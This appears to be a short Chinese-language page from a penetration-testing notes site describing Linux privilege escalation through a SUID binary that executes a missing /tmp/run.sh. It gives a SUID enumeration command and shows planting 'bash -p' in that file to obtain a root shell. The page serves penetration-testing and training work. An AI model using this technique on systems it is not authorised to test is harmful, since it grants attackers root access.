> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-missing-file-linux-privilege-escalation.md).
# SUID 缺失文件 - Linux 权限提升
## 这是什么
SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护文件、启动具有特权的 shell，或执行由攻击者控制的代码。这个特定页面重点关注 **SUID 二进制文件（缺失文件）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地上下文和具体的错误配置。
```bash
find / -perm -4000 -type f 2>/dev/null
```
## 示例
#### 对具有 SUID 权限的文件进行提权检查：
```bash
find / -perm -4000 2>/dev/null
```
运行一个二进制文件，在 /tmp 目录中查找名为“run.sh”的文件，不使用特定路径。
#### 在 /tmp 中创建“run.sh”文件，并包含以下内容以获取 root shell：
```bash
bash -p
```
---
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